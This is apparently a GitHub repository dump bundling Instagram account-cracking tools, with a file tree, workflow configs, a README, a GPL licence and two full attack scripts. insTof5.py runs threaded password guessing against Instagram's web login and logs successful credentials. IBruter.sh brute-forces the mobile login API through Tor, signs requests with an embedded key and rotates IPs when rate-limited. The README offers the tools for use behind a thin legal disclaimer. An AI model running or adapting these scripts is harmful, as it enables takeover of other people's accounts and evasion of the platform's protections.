├── .github
└── workflows
│ ├── codeql-analysis.yml
│ └── python-publish.yml
├── Brute-force-Instagram-2021
├── README.md
├── insTof5.py
└── pass.txt
├── IBruter
├── IBruter.sh
├── LICENSE
├── README.md
├── passwords.lst
└── requirements.sh
├── InstaBrute
├── README.md
├── insta.sh
└── passwords.lst
├── Instagram-OSINT
├── InstagramOSINT.py
├── LICENSE
├── README.md
├── banner.py
├── main.py
└── requirements.txt
├── README.md
└── instagram-py
├── CHANGELOG.rst
├── InstagramPy
├── AppInfo.py
├── InstagramPyCLI.py
├── InstagramPyConfigurationCreator.py
├── InstagramPyDumper.py
├── InstagramPyInstance.py
├── InstagramPyScript.py
├── InstagramPySession.py
├── __init__.py
└── colors
│ ├── __init__.py
│ ├── ansi.py
│ ├── ansitowin32.py
│ ├── initialise.py
│ ├── win32.py
│ └── winterm.py
├── LICENSE
├── MANIFEST.in
├── README.rst
├── bin
└── instagram-py
├── examples
├── README.rst
└── multi_attack.py
├── indent.sh
├── instapy-config.json
├── observations
├── cookies.png
└── login_create.png
├── preview.gif
├── requirements.txt
├── setup.cfg
└── setup.py
/.github/workflows/codeql-analysis.yml:
--------------------------------------------------------------------------------
1 | # For most projects, this workflow file will not need changing; you simply need
2 | # to commit it to your repository.
3 | #
4 | # You may wish to alter this file to override the set of languages analyzed,
5 | # or to provide custom queries or build logic.
6 | #
7 | # ******** NOTE ********
8 | # We have attempted to detect the languages in your repository. Please check
9 | # the `language` matrix defined below to confirm you have the correct set of
10 | # supported CodeQL languages.
11 | #
12 | name: "CodeQL"
13 |
14 | on:
15 | push:
16 | branches: [ main ]
17 | pull_request:
18 | # The branches below must be a subset of the branches above
19 | branches: [ main ]
20 | schedule:
21 | - cron: '27 11 * * 6'
22 |
23 | jobs:
24 | analyze:
25 | name: Analyze
26 | runs-on: ubuntu-latest
27 |
28 | strategy:
29 | fail-fast: false
30 | matrix:
31 | language: [ 'python' ]
32 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
33 | # Learn more:
34 | # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
35 |
36 | steps:
37 | - name: Checkout repository
38 | uses: actions/checkout@v2
39 |
40 | # Initializes the CodeQL tools for scanning.
41 | - name: Initialize CodeQL
42 | uses: github/codeql-action/init@v1
43 | with:
44 | languages: ${{ matrix.language }}
45 | # If you wish to specify custom queries, you can do so here or in a config file.
46 | # By default, queries listed here will override any specified in a config file.
47 | # Prefix the list here with "+" to use these queries and those in the config file.
48 | # queries: ./path/to/local/query, your-org/your-repo/queries@main
49 |
50 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
51 | # If this step fails, then you should remove it and run the build manually (see below)
52 | - name: Autobuild
53 | uses: github/codeql-action/autobuild@v1
54 |
55 | # ℹ️ Command-line programs to run using the OS shell.
56 | # 📚 https://git.io/JvXDl
57 |
58 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
59 | # and modify them (or add more) to build your code if your project
60 | # uses a compiled language
61 |
62 | #- run: |
63 | # make bootstrap
64 | # make release
65 |
66 | - name: Perform CodeQL Analysis
67 | uses: github/codeql-action/analyze@v1
68 |
--------------------------------------------------------------------------------
/.github/workflows/python-publish.yml:
--------------------------------------------------------------------------------
1 | # This workflow will upload a Python Package using Twine when a release is created
2 | # For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries
3 |
4 | name: Upload Python Package
5 |
6 | on:
7 | release:
8 | types: [created]
9 |
10 | jobs:
11 | deploy:
12 |
13 | runs-on: ubuntu-latest
14 |
15 | steps:
16 | - uses: actions/checkout@v2
17 | - name: Set up Python
18 | uses: actions/setup-python@v2
19 | with:
20 | python-version: '3.x'
21 | - name: Install dependencies
22 | run: |
23 | python -m pip install --upgrade pip
24 | pip install setuptools wheel twine
25 | - name: Build and publish
26 | env:
27 | TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }}
28 | TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }}
29 | run: |
30 | python setup.py sdist bdist_wheel
31 | twine upload dist/*
32 |
--------------------------------------------------------------------------------
/Brute-force-Instagram-2021/README.md:
--------------------------------------------------------------------------------
1 | # Brute-force-Instagram-2021
2 |
3 |
4 |
5 | []()
6 | []()
7 | []()
8 | []()
9 |
10 | The brute force of Instagram is working in a new format 2021, just needs to add a proxy, and I didn't do it because of the limited time
11 | Open source, you can modify it
12 |
13 | ## Legal disclaimer:
14 |
15 | Usage of insTof for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
16 |
17 | 
18 |
19 | ### A look at the tool
20 |
21 | 
22 |
23 |
24 | ## Getting Started
25 | 1. ```git clone https://github.com/0xfff0800/Brute-force-Instagram-2021.git```
26 | 2. ```cd Brute-force-Instagram-2021```
27 | 3. ```python3 insTof5.py```
28 |
29 |
30 | ## A Kali Linux operating system. We recommend :
31 | - Kali Linux 2 or Kali 2016.1 rolling
32 | - Cyborg
33 | - Parrot
34 | - BackTrack
35 | - Backbox
36 | - Android - Trimix
37 | - Iphone - python ai
38 |
39 | ## BUG ?
40 | - Please Submit new issue
41 | - Contact me
42 | - Hey ? do you want ask about all my tools ? you can join me in [Telegram](https://T.me/flaah999)
43 |
44 |
--------------------------------------------------------------------------------
/Brute-force-Instagram-2021/insTof5.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 | from __future__ import print_function
3 | import requests, sys, threading, time, os, random
4 | from random import randint
5 | from six.moves import input
6 |
7 | CheckVersion = str (sys.version)
8 | import re
9 | from datetime import datetime
10 |
11 | print ('''
12 | ....
13 | %
14 | ^
15 | L
16 | "F3 $r
17 | $$$$.e$" .
18 | "$$$$$" "
19 | (by Kal1gh0st) $$$$c /
20 | . $$$$$$$P
21 | ."c $$$
22 | .$c3b ..J$$$$$e
23 | 4$$$$ .$$$$$$$$$$$$$$c
24 | $$$$b .$$$$$$$$$$$$$$$$r
25 | $$$. .$$$$$$$$$$$$$$$$$$
26 | $$$c .$$$$$$$ "$$$$$$$$$r
27 | Author : Falah
28 | snapchat : flaah999
29 | Management depends on vpn software. Please use it before running the tool
30 |
31 | """"""""""""""""""""""""""""""""""""""""""
32 | ''')
33 |
34 |
35 | class InstaBrute (object):
36 | def __init__(self):
37 |
38 | try:
39 | user = input ('username : ')
40 | Combo = input ('passList : ')
41 | print ('\n----------------------------')
42 |
43 | except:
44 | print (' The tool was arrested exit ')
45 | sys.exit ()
46 |
47 | with open (Combo, 'r') as x:
48 | Combolist = x.read ().splitlines ()
49 | thread = []
50 | self.Coutprox = 0
51 | for combo in Combolist:
52 | password = combo.split (':')[0]
53 | t = threading.Thread (target=self.New_Br, args=(user, password))
54 | t.start ()
55 | thread.append (t)
56 | time.sleep (0.9)
57 | for j in thread:
58 | j.join ()
59 |
60 | def cls(self):
61 | linux = 'clear'
62 | windows = 'cls'
63 | os.system ([linux, windows][os.name == 'nt'])
64 |
65 | def New_Br(self, user, pwd):
66 | link = 'https://www.instagram.com/accounts/login/'
67 | login_url = 'https://www.instagram.com/accounts/login/ajax/'
68 |
69 | time = int (datetime.now ().timestamp ())
70 |
71 | payload = {
72 | 'username': user,
73 | 'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}',
74 | 'queryParams': {},
75 | 'optIntoOneTap': 'false'
76 | }
77 |
78 | with requests.Session () as s:
79 | r = s.get (link)
80 | r = s.post (login_url, data=payload, headers={
81 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36",
82 | "X-Requested-With": "XMLHttpRequest",
83 | "Referer": "https://www.instagram.com/accounts/login/",
84 | "x-csrftoken": 'ZxKmz4hXp6XKmTPg9lzgYxXN4sFr2pzo'
85 | })
86 | print (f'{user}:{pwd}\n----------------------------')
87 |
88 |
89 | if 'checkpoint_url' in r.text:
90 | print (('' + user + ':' + pwd + ' --> Good hack '))
91 | with open ('good.txt', 'a') as x:
92 | x.write (user + ':' + pwd + '\n')
93 | elif 'two_factor_required' in r.text:
94 | print (('' + user + ':' + pwd + ' --> Good It has to be checked '))
95 | with open ('results_NeedVerfiy.txt', 'a') as x:
96 | x.write (user + ':' + pwd + '\n')
97 |
98 |
99 | InstaBrute()
100 |
--------------------------------------------------------------------------------
/IBruter/IBruter.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Coded by: github.com/kal1gh0st
3 |
4 | trap 'store;exit 1' 2
5 | string4=$(openssl rand -hex 32 | cut -c 1-4)
6 | string8=$(openssl rand -hex 32 | cut -c 1-8)
7 | string12=$(openssl rand -hex 32 | cut -c 1-12)
8 | string16=$(openssl rand -hex 32 | cut -c 1-16)
9 | device="android-$string16"
10 | uuid=$(openssl rand -hex 32 | cut -c 1-32)
11 | phone="$string8-$string4-$string4-$string4-$string12"
12 | guid="$string8-$string4-$string4-$string4-$string12"
13 | var=$(curl -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
14 | var2=$(echo $var | awk -F ';' '{print $2}' | cut -d '=' -f3)
15 |
16 | checkroot() {
17 | if [[ "$(id -u)" -ne 0 ]]; then
18 | printf "\e[1;77mPlease run me as root!\n\e[0m"
19 | exit 1
20 | fi
21 | }
22 |
23 | dependencies() {
24 |
25 | command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; }
26 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; }
27 | command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Run ./install.sh Aborting."; exit 1; }
28 |
29 | command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; }
30 | command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; }
31 | command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; }
32 | command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; }
33 | command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; }
34 | command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; }
35 | command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; }
36 | if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then
37 | echo "/dev/urandom not found!"
38 | exit 1
39 | fi
40 |
41 | }
42 |
43 | banner() {
44 |
45 |
46 | printf "\e[1;77m\e[45m IBruter v1.0 Author: https://github.com/kal1gh0st \e[0m\n"
47 | printf "\n"
48 | }
49 |
50 | function start() {
51 | banner
52 | checkroot
53 | dependencies
54 | read -p $'\e[1;92mUsername account: \e[0m' user
55 | checkaccount=$(curl -s https://www.instagram.com/$user/?__a=1 | grep -c "Account not found please enter a vlaid username")
56 | if [[ "$checkaccount" == 1 ]]; then
57 | printf "\e[1;91mInvalid Username! Try again\e[0m\n"
58 | sleep 1
59 | start
60 | else
61 | default_wl_pass="passwords.lst"
62 | read -p $'\e[1;92mWordlist (Enter to use default list): \e[0m' wl_pass
63 | wl_pass="${wl_pass:-${default_wl_pass}}"
64 | default_threads="10"
65 | read -p $'\e[1;92mThreads (Use <= 20, Default 10): \e[0m' threads
66 | threads="${threads:-${default_threads}}"
67 | fi
68 | }
69 |
70 | checktor() {
71 |
72 | check=$(curl --socks5-hostname localhost:9050 -s https://check.torproject.org > /dev/null; echo $?)
73 |
74 | if [[ "$check" -gt 0 ]]; then
75 | printf "\e[1;91mPlease, check your TOR Connection! Just type tor or service tor start\n\e[0m"
76 | exit 1
77 | fi
78 |
79 | }
80 |
81 | function store() {
82 |
83 | if [[ -n "$threads" ]]; then
84 | printf "\e[1;91m [#] Waiting threads shutting down...\n\e[0m"
85 | if [[ "$threads" -gt 10 ]]; then
86 | sleep 6
87 | else
88 | sleep 3
89 | fi
90 | default_session="Y"
91 | printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $user
92 | read -p $'\e[1;77m? [Y/n]: \e[0m' session
93 | session="${session:-${default_session}}"
94 | if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
95 | if [[ ! -d sessions ]]; then
96 | mkdir sessions
97 | fi
98 | IFS=$'\n'
99 | cpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
100 | printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\ntoken=\"%s\"\n" $user $pass $wl_pass $cpass > sessions/store.session.$user.$(date +"%FT%H%M")
101 | printf "\e[1;77mSession saved.\e[0m\n"
102 | printf "\e[1;92mUse ./IBruter --resume\n"
103 | else
104 | exit 1
105 | fi
106 | else
107 | exit 1
108 | fi
109 | }
110 |
111 |
112 | function changeip() {
113 |
114 | killall -HUP tor
115 |
116 |
117 | }
118 |
119 | function bruteforcer() {
120 |
121 | checktor
122 | C_Pass=$(wc -l $wl_pass | cut -d " " -f1)
123 | printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" $user
124 | printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $C_Pass
125 | printf "\e[1;91m[#] Press Ctrl + C to stop or save session\n\e[0m"
126 | token=0
127 | startline=1
128 | endline="$threads"
129 | while [ $token -lt $C_Pass ]; do
130 | IFS=$'\n'
131 | for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
132 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
133 |
134 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
135 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
136 | IFS=$'\n'
137 | cpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
138 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
139 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
140 |
141 | let token++
142 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $cpass $C_Pass $pass #token
143 |
144 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [#] Password Found: %s\n [#] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.IBruter ; printf "\e[1;92m [#] Saved:\e[0m\e[1;77m found.IBruter \n\e[0m"; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [#] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.IBruter ; printf "\e[1;92m [#] Saved:\e[0m\e[1;77m found.IBruter \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
145 |
146 | let startline+=$threads
147 | let endline+=$threads
148 | changeip
149 | done
150 | exit 1
151 | }
152 |
153 |
154 |
155 | function resume() {
156 |
157 | banner
158 | checktor
159 | counter=1
160 | if [[ ! -d sessions ]]; then
161 | printf "\e[1;91m[#] No sessions\n\e[0m"
162 | exit 1
163 | fi
164 | printf "\e[1;92mFiles sessions:\n\e[0m"
165 | for list in $(ls sessions/store.session*); do
166 | IFS=$'\n'
167 | source $list
168 | printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$pass"
169 | let counter++
170 | done
171 | read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
172 | source $(ls sessions/store.session* | sed ''$fileresume'q;d')
173 | default_threads=10
174 | read -p $'\e[1;92mThreads (Use <=20, Default 10): \e[0m' threads
175 | threads="${threads:-${default_threads}}"
176 |
177 | printf "\e[1;92m[#] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user
178 | printf "\e[1;92m[#] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
179 | printf "\e[1;91m[#] Press Ctrl + C to stop or save session\n\e[0m"
180 |
181 |
182 | C_Pass=$(wc -l $wl_pass | cut -d " " -f1)
183 |
184 | while [ $token -lt $C_Pass ]; do
185 | IFS=$'\n'
186 | for pass in $(sed -n '/\b'$pass'\b/,'$(($token+threads))'p' $wl_pass); do
187 | #for pass in $(sed -n '/\b'$pass'\b/,'$threads'p' $wl_pass); do
188 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
189 |
190 | data='{"phone_id":"$phone", "_csrftoken":"$var2", "username":"'$user'", "guid":"$guid", "device_id":"$device", "password":"'$pass'", "login_attempt_count":"0"}'
191 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
192 | IFS=$'\n'
193 | cpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
194 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
195 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
196 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $cpass $C_Pass $pass #token
197 | let token++
198 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [#] Password Found: %s\n [#] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.IBruter ; printf "\e[1;92m [#] Saved:\e[0m\e[1;77m found.IBruter \n\e[0m"; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [#] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.IBruter ; printf "\e[1;92m [#] Saved:\e[0m\e[1;77m found.IBruter \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
199 | let token--
200 | changeip
201 | done
202 | exit 1
203 | }
204 |
205 | case "$1" in --resume) resume ;; *)
206 | start
207 | bruteforcer
208 | esac
209 | #bye bye
210 |
--------------------------------------------------------------------------------
/IBruter/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
